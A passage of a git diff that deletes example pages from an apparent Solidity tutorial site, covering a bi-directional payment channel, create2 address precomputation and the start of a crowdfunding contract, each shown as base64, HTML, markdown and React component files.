zcyBpbmRleGVkIHNlbmRlciwgdWludCBub25jZSk7CiAgICBldmVudCBXaXRoZHJhdyhhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQgYW1vdW50KTsKCiAgICBhZGRyZXNzIHBheWFibGVbMl0gcHVibGljIHVzZXJzOwogICAgbWFwcGluZyhhZGRyZXNzID0+IGJvb2wpIHB1YmxpYyBpc1VzZXI7CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlczsKCiAgICB1aW50IHB1YmxpYyBjaGFsbGVuZ2VQZXJpb2Q7CiAgICB1aW50IHB1YmxpYyBleHBpcmVzQXQ7CiAgICB1aW50IHB1YmxpYyBub25jZTsKCiAgICBtb2RpZmllciBjaGVja0JhbGFuY2VzKHVpbnRbMl0gbWVtb3J5IF9iYWxhbmNlcykgewogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIGFkZHJlc3ModGhpcykuYmFsYW5jZSA+PSBfYmFsYW5jZXNbMF0gKyBfYmFsYW5jZXNbMV0sCiAgICAgICAgICAgICJiYWxhbmNlIG9mIGNvbnRyYWN0IG11c3QgYmUgPj0gdG8gdGhlIHRvdGFsIGJhbGFuY2Ugb2YgdXNlcnMiCiAgICAgICAgKTsKICAgICAgICBfOwogICAgfQoKICAgIC8vIE5PVEU6IGRlcG9zaXQgZnJvbSBtdWx0aS1zaWcgd2FsbGV0CiAgICBjb25zdHJ1Y3RvcigKICAgICAgICBhZGRyZXNzIHBheWFibGVbMl0gbWVtb3J5IF91c2VycywKICAgICAgICB1aW50WzJdIG1lbW9yeSBfYmFsYW5jZXMsCiAgICAgICAgdWludCBfZXhwaXJlc0F0LAogICAgICAgIHVpbnQgX2NoYWxsZW5nZVBlcmlvZAogICAgKSBwYXlhYmxlIGNoZWNrQmFsYW5jZXMoX2JhbGFuY2VzKSB7CiAgICAgICAgcmVxdWlyZShfZXhwaXJlc0F0ID4gYmxvY2sudGltZXN0YW1wLCAiRXhwaXJhdGlvbiBtdXN0IGJlID4gbm93Iik7CiAgICAgICAgcmVxdWlyZShfY2hhbGxlbmdlUGVyaW9kID4gMCwgIkNoYWxsZW5nZSBwZXJpb2QgbXVzdCBiZSA+IDAiKTsKCiAgICAgICAgZm9yICh1aW50IGkgPSAwOyBpIDwgX3VzZXJzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3MgcGF5YWJsZSB1c2VyID0gX3VzZXJzW2ldOwoKICAgICAgICAgICAgcmVxdWlyZSghaXNVc2VyW3VzZXJdLCAidXNlciBtdXN0IGJlIHVuaXF1ZSIpOwogICAgICAgICAgICB1c2Vyc1tpXSA9IHVzZXI7CiAgICAgICAgICAgIGlzVXNlclt1c2VyXSA9IHRydWU7CgogICAgICAgICAgICBiYWxhbmNlc1t1c2VyXSA9IF9iYWxhbmNlc1tpXTsKICAgICAgICB9CgogICAgICAgIGV4cGlyZXNBdCA9IF9leHBpcmVzQXQ7CiAgICAgICAgY2hhbGxlbmdlUGVyaW9kID0gX2NoYWxsZW5nZVBlcmlvZDsKICAgIH0KCiAgICBmdW5jdGlvbiB2ZXJpZnkoCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWduYXR1cmVzLAogICAgICAgIGFkZHJlc3MgX2NvbnRyYWN0LAogICAgICAgIGFkZHJlc3NbMl0gbWVtb3J5IF9zaWduZXJzLAogICAgICAgIHVpbnRbMl0gbWVtb3J5IF9iYWxhbmNlcywKICAgICAgICB1aW50IF9ub25jZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgZm9yICh1aW50IGkgPSAwOyBpIDwgX3NpZ25hdHVyZXMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgLyoKICAgICAgICAgICAgTk9URTogc2lnbiB3aXRoIGFkZHJlc3Mgb2YgdGhpcyBjb250cmFjdCB0byBwcm90ZWN0CiAgICAgICAgICAgICAgICAgIGFnYWlucyByZXBsYXkgYXR0YWNrIG9uIG90aGVyIGNvbnRyYWN0cwogICAgICAgICAgICAqLwogICAgICAgICAgICBib29sIHZhbGlkID0gX3NpZ25lcnNbaV0gPT0KICAgICAgICAgICAgICAgIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF9jb250cmFjdCwgX2JhbGFuY2VzLCBfbm9uY2UpKQogICAgICAgICAgICAgICAgICAgIC50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCkKICAgICAgICAgICAgICAgICAgICAucmVjb3Zlcihfc2lnbmF0dXJlc1tpXSk7CgogICAgICAgICAgICBpZiAoIXZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIG1vZGlmaWVyIGNoZWNrU2lnbmF0dXJlcygKICAgICAgICBieXRlc1syXSBtZW1vcnkgX3NpZ25hdHVyZXMsCiAgICAgICAgdWludFsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQgX25vbmNlCiAgICApIHsKICAgICAgICAvLyBOb3RlOiBjb3B5IHN0b3JhZ2UgYXJyYXkgdG8gbWVtb3J5CiAgICAgICAgYWRkcmVzc1syXSBtZW1vcnkgc2lnbmVyczsKICAgICAgICBmb3IgKHVpbnQgaSA9IDA7IGkgPCB1c2Vycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBzaWduZXJzW2ldID0gdXNlcnNbaV07CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB2ZXJpZnkoX3NpZ25hdHVyZXMsIGFkZHJlc3ModGhpcyksIHNpZ25lcnMsIF9iYWxhbmNlcywgX25vbmNlKSwKICAgICAgICAgICAgIkludmFsaWQgc2lnbmF0dXJlIgogICAgICAgICk7CgogICAgICAgIF87CiAgICB9CgogICAgbW9kaWZpZXIgb25seVVzZXIoKSB7CiAgICAgICAgcmVxdWlyZShpc1VzZXJbbXNnLnNlbmRlcl0sICJOb3QgdXNlciIpOwogICAgICAgIF87CiAgICB9CgogICAgZnVuY3Rpb24gY2hhbGxlbmdlRXhpdCgKICAgICAgICB1aW50WzJdIG1lbW9yeSBfYmFsYW5jZXMsCiAgICAgICAgdWludCBfbm9uY2UsCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWduYXR1cmVzCiAgICApCiAgICAgICAgcHVibGljCiAgICAgICAgb25seVVzZXIKICAgICAgICBjaGVja1NpZ25hdHVyZXMoX3NpZ25hdHVyZXMsIF9iYWxhbmNlcywgX25vbmNlKQogICAgICAgIGNoZWNrQmFsYW5jZXMoX2JhbGFuY2VzKQogICAgewogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDwgZXhwaXJlc0F0LCAiRXhwaXJlZCBjaGFsbGVuZ2UgcGVyaW9kIik7CiAgICAgICAgcmVxdWlyZShfbm9uY2UgPiBub25jZSwgIk5vbmNlIG11c3QgYmUgZ3JlYXRlciB0aGFuIHRoZSBjdXJyZW50IG5vbmNlIik7CgogICAgICAgIGZvciAodWludCBpID0gMDsgaSA8IF9iYWxhbmNlcy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBiYWxhbmNlc1t1c2Vyc1tpXV0gPSBfYmFsYW5jZXNbaV07CiAgICAgICAgfQoKICAgICAgICBub25jZSA9IF9ub25jZTsKICAgICAgICBleHBpcmVzQXQgPSBibG9jay50aW1lc3RhbXAgKyBjaGFsbGVuZ2VQZXJpb2Q7CgogICAgICAgIGVtaXQgQ2hhbGxlbmdlRXhpdChtc2cuc2VuZGVyLCBub25jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgb25seVVzZXIgewogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID49IGV4cGlyZXNBdCwgIkNoYWxsZW5nZSBwZXJpb2QgaGFzIG5vdCBleHBpcmVkIHlldCIpOwoKICAgICAgICB1aW50IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgZW1pdCBXaXRoZHJhdyhtc2cuc2VuZGVyLCBhbW91bnQpOwogICAgfQp9Cg==", - }, -] - -const html = `

Bi-directional payment channels allow participants Alice and Bob to repeatedly transfer Ether off chain.

-

Payments can go both ways, Alice pays Bob and Bob pays Alice.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-/*
-Opening a channel
-1. Alice and Bob fund a multi-sig wallet
-2. Precompute payment channel address
-3. Alice and Bob exchanges signatures of initial balances
-4. Alice and Bob creates a transaction that can deploy a payment channel from
-   the multi-sig wallet
-
-Update channel balances
-1. Repeat steps 1 - 3 from opening a channel
-2. From multi-sig wallet create a transaction that will
-   - delete the transaction that would have deployed the old payment channel
-   - and then create a transaction that can deploy a payment channel with the
-     new balances
-
-Closing a channel when Alice and Bob agree on the final balance
-1. From multi-sig wallet create a transaction that will
-   - send payments to Alice and Bob
-   - and then delete the transaction that would have created the payment channel
-
-Closing a channel when Alice and Bob do not agree on the final balances
-1. Deploy payment channel from multi-sig
-2. call challengeExit() to start the process of closing a channel
-3. Alice and Bob can withdraw funds once the channel is expired
-*/
-
-import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";
-
-contract BiDirectionalPaymentChannel {
-    using ECDSA for bytes32;
-
-    event ChallengeExit(address indexed sender, uint nonce);
-    event Withdraw(address indexed to, uint amount);
-
-    address payable[2] public users;
-    mapping(address => bool) public isUser;
-
-    mapping(address => uint) public balances;
-
-    uint public challengePeriod;
-    uint public expiresAt;
-    uint public nonce;
-
-    modifier checkBalances(uint[2] memory _balances) {
-        require(
-            address(this).balance >= _balances[0] + _balances[1],
-            "balance of contract must be >= to the total balance of users"
-        );
-        _;
-    }
-
-    // NOTE: deposit from multi-sig wallet
-    constructor(
-        address payable[2] memory _users,
-        uint[2] memory _balances,
-        uint _expiresAt,
-        uint _challengePeriod
-    ) payable checkBalances(_balances) {
-        require(_expiresAt > block.timestamp, "Expiration must be > now");
-        require(_challengePeriod > 0, "Challenge period must be > 0");
-
-        for (uint i = 0; i < _users.length; i++) {
-            address payable user = _users[i];
-
-            require(!isUser[user], "user must be unique");
-            users[i] = user;
-            isUser[user] = true;
-
-            balances[user] = _balances[i];
-        }
-
-        expiresAt = _expiresAt;
-        challengePeriod = _challengePeriod;
-    }
-
-    function verify(
-        bytes[2] memory _signatures,
-        address _contract,
-        address[2] memory _signers,
-        uint[2] memory _balances,
-        uint _nonce
-    ) public pure returns (bool) {
-        for (uint i = 0; i < _signatures.length; i++) {
-            /*
-            NOTE: sign with address of this contract to protect
-                  agains replay attack on other contracts
-            */
-            bool valid = _signers[i] ==
-                keccak256(abi.encodePacked(_contract, _balances, _nonce))
-                    .toEthSignedMessageHash()
-                    .recover(_signatures[i]);
-
-            if (!valid) {
-                return false;
-            }
-        }
-
-        return true;
-    }
-
-    modifier checkSignatures(
-        bytes[2] memory _signatures,
-        uint[2] memory _balances,
-        uint _nonce
-    ) {
-        // Note: copy storage array to memory
-        address[2] memory signers;
-        for (uint i = 0; i < users.length; i++) {
-            signers[i] = users[i];
-        }
-
-        require(
-            verify(_signatures, address(this), signers, _balances, _nonce),
-            "Invalid signature"
-        );
-
-        _;
-    }
-
-    modifier onlyUser() {
-        require(isUser[msg.sender], "Not user");
-        _;
-    }
-
-    function challengeExit(
-        uint[2] memory _balances,
-        uint _nonce,
-        bytes[2] memory _signatures
-    )
-        public
-        onlyUser
-        checkSignatures(_signatures, _balances, _nonce)
-        checkBalances(_balances)
-    {
-        require(block.timestamp < expiresAt, "Expired challenge period");
-        require(_nonce > nonce, "Nonce must be greater than the current nonce");
-
-        for (uint i = 0; i < _balances.length; i++) {
-            balances[users[i]] = _balances[i];
-        }
-
-        nonce = _nonce;
-        expiresAt = block.timestamp + challengePeriod;
-
-        emit ChallengeExit(msg.sender, nonce);
-    }
-
-    function withdraw() public onlyUser {
-        require(block.timestamp >= expiresAt, "Challenge period has not expired yet");
-
-        uint amount = balances[msg.sender];
-        balances[msg.sender] = 0;
-
-        (bool sent, ) = msg.sender.call{value: amount}("");
-        require(sent, "Failed to send Ether");
-
-        emit Withdraw(msg.sender, amount);
-    }
-}
-
` - -export default html diff --git a/src/pages/app/bi-directional-payment-channel/index.md b/src/pages/app/bi-directional-payment-channel/index.md deleted file mode 100644 index 66bf0a0f1..000000000 --- a/src/pages/app/bi-directional-payment-channel/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Bi-Directional Payment Channel -version: 0.8.20 -description: An example of bi-directional payment channels in Solidity -keywords: [app, application, bi-directional, payment, channel, signature, cryptography] ---- - -Bi-directional payment channels allow participants `Alice` and `Bob` to repeatedly transfer Ether off chain. - -Payments can go both ways, `Alice` pays `Bob` and `Bob` pays `Alice`. - -```solidity -{{{BiDirectionalPaymentChannel}}} -``` diff --git a/src/pages/app/bi-directional-payment-channel/index.tsx b/src/pages/app/bi-directional-payment-channel/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/bi-directional-payment-channel/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/create2/Create2.sol b/src/pages/app/create2/Create2.sol deleted file mode 100644 index d8ca67a94..000000000 --- a/src/pages/app/create2/Create2.sol +++ /dev/null @@ -1,90 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Factory { - // Returns the address of the newly deployed contract - function deploy( - address _owner, - uint _foo, - bytes32 _salt - ) public payable returns (address) { - // This syntax is a newer way to invoke create2 without assembly, you just need to pass salt - // https://docs.soliditylang.org/en/latest/control-structures.html#salted-contract-creations-create2 - return address(new TestContract{salt: _salt}(_owner, _foo)); - } -} - -// This is the older way of doing it using assembly -contract FactoryAssembly { - event Deployed(address addr, uint salt); - - // 1. Get bytecode of contract to be deployed - // NOTE: _owner and _foo are arguments of the TestContract's constructor - function getBytecode(address _owner, uint _foo) public pure returns (bytes memory) { - bytes memory bytecode = type(TestContract).creationCode; - - return abi.encodePacked(bytecode, abi.encode(_owner, _foo)); - } - - // 2. Compute the address of the contract to be deployed - // NOTE: _salt is a random number used to create an address - function getAddress( - bytes memory bytecode, - uint _salt - ) public view returns (address) { - bytes32 hash = keccak256( - abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)) - ); - - // NOTE: cast last 20 bytes of hash to address - return address(uint160(uint(hash))); - } - - // 3. Deploy the contract - // NOTE: - // Check the event log Deployed which contains the address of the deployed TestContract. - // The address in the log should equal the address computed from above. - function deploy(bytes memory bytecode, uint _salt) public payable { - address addr; - - /* - NOTE: How to call create2 - - create2(v, p, n, s) - create new contract with code at memory p to p + n - and send v wei - and return the new address - where new address = first 20 bytes of keccak256(0xff + address(this) + s + keccak256(mem[p…(p+n))) - s = big-endian 256-bit value - */ - assembly { - addr := create2( - callvalue(), // wei sent with current call - // Actual code starts after skipping the first 32 bytes - add(bytecode, 0x20), - mload(bytecode), // Load the size of code contained in the first 32 bytes - _salt // Salt from function arguments - ) - - if iszero(extcodesize(addr)) { - revert(0, 0) - } - } - - emit Deployed(addr, _salt); - } -} - -contract TestContract { - address public owner; - uint public foo; - - constructor(address _owner, uint _foo) payable { - owner = _owner; - foo = _foo; - } - - function getBalance() public view returns (uint) { - return address(this).balance; - } -} diff --git a/src/pages/app/create2/index.html.ts b/src/pages/app/create2/index.html.ts deleted file mode 100644 index f94c29664..000000000 --- a/src/pages/app/create2/index.html.ts +++ /dev/null @@ -1,115 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Precompute Contract Address with Create2" -export const description = "Precompute contract address with create2" - -export const keywords = [ - "app", - "application", - "create2", - "precompute", - "contract", - "address", -] - -export const codes = [ - { - fileName: "Create2.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgLy8gUmV0dXJucyB0aGUgYWRkcmVzcyBvZiB0aGUgbmV3bHkgZGVwbG95ZWQgY29udHJhY3QKICAgIGZ1bmN0aW9uIGRlcGxveSgKICAgICAgICBhZGRyZXNzIF9vd25lciwKICAgICAgICB1aW50IF9mb28sCiAgICAgICAgYnl0ZXMzMiBfc2FsdAogICAgKSBwdWJsaWMgcGF5YWJsZSByZXR1cm5zIChhZGRyZXNzKSB7CiAgICAgICAgLy8gVGhpcyBzeW50YXggaXMgYSBuZXdlciB3YXkgdG8gaW52b2tlIGNyZWF0ZTIgd2l0aG91dCBhc3NlbWJseSwgeW91IGp1c3QgbmVlZCB0byBwYXNzIHNhbHQKICAgICAgICAvLyBodHRwczovL2RvY3Muc29saWRpdHlsYW5nLm9yZy9lbi9sYXRlc3QvY29udHJvbC1zdHJ1Y3R1cmVzLmh0bWwjc2FsdGVkLWNvbnRyYWN0LWNyZWF0aW9ucy1jcmVhdGUyCiAgICAgICAgcmV0dXJuIGFkZHJlc3MobmV3IFRlc3RDb250cmFjdHtzYWx0OiBfc2FsdH0oX293bmVyLCBfZm9vKSk7CiAgICB9Cn0KCi8vIFRoaXMgaXMgdGhlIG9sZGVyIHdheSBvZiBkb2luZyBpdCB1c2luZyBhc3NlbWJseQpjb250cmFjdCBGYWN0b3J5QXNzZW1ibHkgewogICAgZXZlbnQgRGVwbG95ZWQoYWRkcmVzcyBhZGRyLCB1aW50IHNhbHQpOwoKICAgIC8vIDEuIEdldCBieXRlY29kZSBvZiBjb250cmFjdCB0byBiZSBkZXBsb3llZAogICAgLy8gTk9URTogX293bmVyIGFuZCBfZm9vIGFyZSBhcmd1bWVudHMgb2YgdGhlIFRlc3RDb250cmFjdCdzIGNvbnN0cnVjdG9yCiAgICBmdW5jdGlvbiBnZXRCeXRlY29kZShhZGRyZXNzIF9vd25lciwgdWludCBfZm9vKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICBieXRlcyBtZW1vcnkgYnl0ZWNvZGUgPSB0eXBlKFRlc3RDb250cmFjdCkuY3JlYXRpb25Db2RlOwoKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVBhY2tlZChieXRlY29kZSwgYWJpLmVuY29kZShfb3duZXIsIF9mb28pKTsKICAgIH0KCiAgICAvLyAyLiBDb21wdXRlIHRoZSBhZGRyZXNzIG9mIHRoZSBjb250cmFjdCB0byBiZSBkZXBsb3llZAogICAgLy8gTk9URTogX3NhbHQgaXMgYSByYW5kb20gbnVtYmVyIHVzZWQgdG8gY3JlYXRlIGFuIGFkZHJlc3MKICAgIGZ1bmN0aW9uIGdldEFkZHJlc3MoCiAgICAgICAgYnl0ZXMgbWVtb3J5IGJ5dGVjb2RlLAogICAgICAgIHVpbnQgX3NhbHQKICAgICkgcHVibGljIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIGJ5dGVzMzIgaGFzaCA9IGtlY2NhazI1NigKICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZChieXRlczEoMHhmZiksIGFkZHJlc3ModGhpcyksIF9zYWx0LCBrZWNjYWsyNTYoYnl0ZWNvZGUpKQogICAgICAgICk7CgogICAgICAgIC8vIE5PVEU6IGNhc3QgbGFzdCAyMCBieXRlcyBvZiBoYXNoIHRvIGFkZHJlc3MKICAgICAgICByZXR1cm4gYWRkcmVzcyh1aW50MTYwKHVpbnQoaGFzaCkpKTsKICAgIH0KCiAgICAvLyAzLiBEZXBsb3kgdGhlIGNvbnRyYWN0CiAgICAvLyBOT1RFOgogICAgLy8gQ2hlY2sgdGhlIGV2ZW50IGxvZyBEZXBsb3llZCB3aGljaCBjb250YWlucyB0aGUgYWRkcmVzcyBvZiB0aGUgZGVwbG95ZWQgVGVzdENvbnRyYWN0LgogICAgLy8gVGhlIGFkZHJlc3MgaW4gdGhlIGxvZyBzaG91bGQgZXF1YWwgdGhlIGFkZHJlc3MgY29tcHV0ZWQgZnJvbSBhYm92ZS4KICAgIGZ1bmN0aW9uIGRlcGxveShieXRlcyBtZW1vcnkgYnl0ZWNvZGUsIHVpbnQgX3NhbHQpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICBhZGRyZXNzIGFkZHI7CgogICAgICAgIC8qCiAgICAgICAgTk9URTogSG93IHRvIGNhbGwgY3JlYXRlMgoKICAgICAgICBjcmVhdGUyKHYsIHAsIG4sIHMpCiAgICAgICAgY3JlYXRlIG5ldyBjb250cmFjdCB3aXRoIGNvZGUgYXQgbWVtb3J5IHAgdG8gcCArIG4KICAgICAgICBhbmQgc2VuZCB2IHdlaQogICAgICAgIGFuZCByZXR1cm4gdGhlIG5ldyBhZGRyZXNzCiAgICAgICAgd2hlcmUgbmV3IGFkZHJlc3MgPSBmaXJzdCAyMCBieXRlcyBvZiBrZWNjYWsyNTYoMHhmZiArIGFkZHJlc3ModGhpcykgKyBzICsga2VjY2FrMjU2KG1lbVtw4oCmKHArbikpKQogICAgICAgICAgICAgIHMgPSBiaWctZW5kaWFuIDI1Ni1iaXQgdmFsdWUKICAgICAgICAqLwogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgYWRkciA6PSBjcmVhdGUyKAogICAgICAgICAgICAgICAgY2FsbHZhbHVlKCksIC8vIHdlaSBzZW50IHdpdGggY3VycmVudCBjYWxsCiAgICAgICAgICAgICAgICAvLyBBY3R1YWwgY29kZSBzdGFydHMgYWZ0ZXIgc2tpcHBpbmcgdGhlIGZpcnN0IDMyIGJ5dGVzCiAgICAgICAgICAgICAgICBhZGQoYnl0ZWNvZGUsIDB4MjApLAogICAgICAgICAgICAgICAgbWxvYWQoYnl0ZWNvZGUpLCAvLyBMb2FkIHRoZSBzaXplIG9mIGNvZGUgY29udGFpbmVkIGluIHRoZSBmaXJzdCAzMiBieXRlcwogICAgICAgICAgICAgICAgX3NhbHQgLy8gU2FsdCBmcm9tIGZ1bmN0aW9uIGFyZ3VtZW50cwogICAgICAgICAgICApCgogICAgICAgICAgICBpZiBpc3plcm8oZXh0Y29kZXNpemUoYWRkcikpIHsKICAgICAgICAgICAgICAgIHJldmVydCgwLCAwKQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBlbWl0IERlcGxveWVkKGFkZHIsIF9zYWx0KTsKICAgIH0KfQoKY29udHJhY3QgVGVzdENvbnRyYWN0IHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwogICAgdWludCBwdWJsaWMgZm9vOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX293bmVyLCB1aW50IF9mb28pIHBheWFibGUgewogICAgICAgIG93bmVyID0gX293bmVyOwogICAgICAgIGZvbyA9IF9mb287CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cg==", - }, -] - -const html = `

Contract address can be precomputed, before the contract is deployed, using create2

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Factory {
-    // Returns the address of the newly deployed contract
-    function deploy(
-        address _owner,
-        uint _foo,
-        bytes32 _salt
-    ) public payable returns (address) {
-        // This syntax is a newer way to invoke create2 without assembly, you just need to pass salt
-        // https://docs.soliditylang.org/en/latest/control-structures.html#salted-contract-creations-create2
-        return address(new TestContract{salt: _salt}(_owner, _foo));
-    }
-}
-
-// This is the older way of doing it using assembly
-contract FactoryAssembly {
-    event Deployed(address addr, uint salt);
-
-    // 1. Get bytecode of contract to be deployed
-    // NOTE: _owner and _foo are arguments of the TestContract's constructor
-    function getBytecode(address _owner, uint _foo) public pure returns (bytes memory) {
-        bytes memory bytecode = type(TestContract).creationCode;
-
-        return abi.encodePacked(bytecode, abi.encode(_owner, _foo));
-    }
-
-    // 2. Compute the address of the contract to be deployed
-    // NOTE: _salt is a random number used to create an address
-    function getAddress(
-        bytes memory bytecode,
-        uint _salt
-    ) public view returns (address) {
-        bytes32 hash = keccak256(
-            abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode))
-        );
-
-        // NOTE: cast last 20 bytes of hash to address
-        return address(uint160(uint(hash)));
-    }
-
-    // 3. Deploy the contract
-    // NOTE:
-    // Check the event log Deployed which contains the address of the deployed TestContract.
-    // The address in the log should equal the address computed from above.
-    function deploy(bytes memory bytecode, uint _salt) public payable {
-        address addr;
-
-        /*
-        NOTE: How to call create2
-
-        create2(v, p, n, s)
-        create new contract with code at memory p to p + n
-        and send v wei
-        and return the new address
-        where new address = first 20 bytes of keccak256(0xff + address(this) + s + keccak256(mem[p…(p+n)))
-              s = big-endian 256-bit value
-        */
-        assembly {
-            addr := create2(
-                callvalue(), // wei sent with current call
-                // Actual code starts after skipping the first 32 bytes
-                add(bytecode, 0x20),
-                mload(bytecode), // Load the size of code contained in the first 32 bytes
-                _salt // Salt from function arguments
-            )
-
-            if iszero(extcodesize(addr)) {
-                revert(0, 0)
-            }
-        }
-
-        emit Deployed(addr, _salt);
-    }
-}
-
-contract TestContract {
-    address public owner;
-    uint public foo;
-
-    constructor(address _owner, uint _foo) payable {
-        owner = _owner;
-        foo = _foo;
-    }
-
-    function getBalance() public view returns (uint) {
-        return address(this).balance;
-    }
-}
-
` - -export default html diff --git a/src/pages/app/create2/index.md b/src/pages/app/create2/index.md deleted file mode 100644 index 51020f395..000000000 --- a/src/pages/app/create2/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Precompute Contract Address with Create2 -version: 0.8.20 -description: Precompute contract address with create2 -keywords: [app, application, create2, precompute, contract, address] ---- - -Contract address can be precomputed, before the contract is deployed, using `create2` - -```solidity -{{{Create2}}} -``` diff --git a/src/pages/app/create2/index.tsx b/src/pages/app/create2/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/create2/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/crowd-fund/CrowdFund.sol b/src/pages/app/crowd-fund/CrowdFund.sol deleted file mode 100644 index e0d83649c..000000000 --- a/src/pages/app/crowd-fund/CrowdFund.sol +++ /dev/null @@ -1,126 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -interface IERC20 { - function transfer(address, uint) external returns (bool); - - function transferFrom(address, address, uint) external returns (bool); -} - -contract CrowdFund { - event Launch( - uint id, - address indexed creator, - uint goal, - uint32 startAt, - uint32 endAt - ); - event Cancel(uint id); - event Pledge(uint indexed id, address indexed caller, uint amount); - event Unpledge(uint indexed id, address indexed caller, uint amount); - event Claim(uint id); - event Refund(uint id, address indexed caller, uint amount); - - struct Campaign { - // Creator of campaign - address creator; - // Amount of tokens to raise - uint goal; - // Total amount pledged - uint pledged; - // Timestamp of start of campaign - uint32 startAt; - // Timestamp of end of campaign - uint32 endAt; - // True if goal was reached and creator has claimed the tokens. - bool claimed; - } - - IERC20 public immutable token; - // Total count of campaigns created. - // It is also used to generate id for new campaigns. - uint public count; - // Mapping from id to Campaign - mapping(uint => Campaign) public campaigns; - // Mapping from campaign id => pledger => amount pledged - mapping(uint => mapping(address => uint)) public pledgedAmount; - - constructor(address _token) { - token = IERC20(_token); - } - - function launch(uint _goal, uint32 _startAt, uint32 _endAt) external { - require(_startAt >= block.timestamp, "start at < now"); - require(_endAt >= _startAt, "end at < start at"); - require(_endAt <= block.timestamp + 90 days, "end at > max duration"); - - count += 1; - campaigns[count] = Campaign({ - creator: msg.sender, - goal: _goal, - pledged: 0, - startAt: _startAt, - endAt: _endAt, - claimed: false - }); - - emit Launch(count, msg.sender, _goal, _startAt, _endAt); - } - - function cancel(uint _id) external { - Campaign memory campaign = campaigns[_id]; - require(campaign.creator == msg.sender, "not creator"); - require(block.timestamp < campaign.startAt, "started"); - - delete campaigns[_id]; - emit Cancel(_id); - } - - function pledge(uint _id, uint _amount) external { - Campaign storage campaign = campaigns[_id]; - require(block.timestamp >= campaign.startAt, "not started"); - require(block.timestamp <= campaign.endAt, "ended"); - - campaign.pledged += _amount; - pledgedAmount[_id][msg.sender] += _amount; - token.transferFrom(msg.sender, address(this), _amount); - - emit Pledge(_id, msg.sender, _amount); - } - - function unpledge(uint _id, uint _amount) external { - Campaign storage campaign = campaigns[_id]; - require(block.timestamp <= campaign.endAt, "ended"); - - campaign.pledged -= _amount; - pledgedAmount[_id][msg.sender] -= _amount; - token.transfer(msg.sender, _amount); - - emit Unpledge(_id, msg.sender, _amount); - } - - function claim(uint _id) external { - Campaign storage campaign = campaigns[_id]; - require(campaign.creator == msg.sender, "not creator"); - require(block.timestamp > campaign.endAt, "not ended"); - require(campaign.pledged >= campaign.goal, "pledged < goal"); - 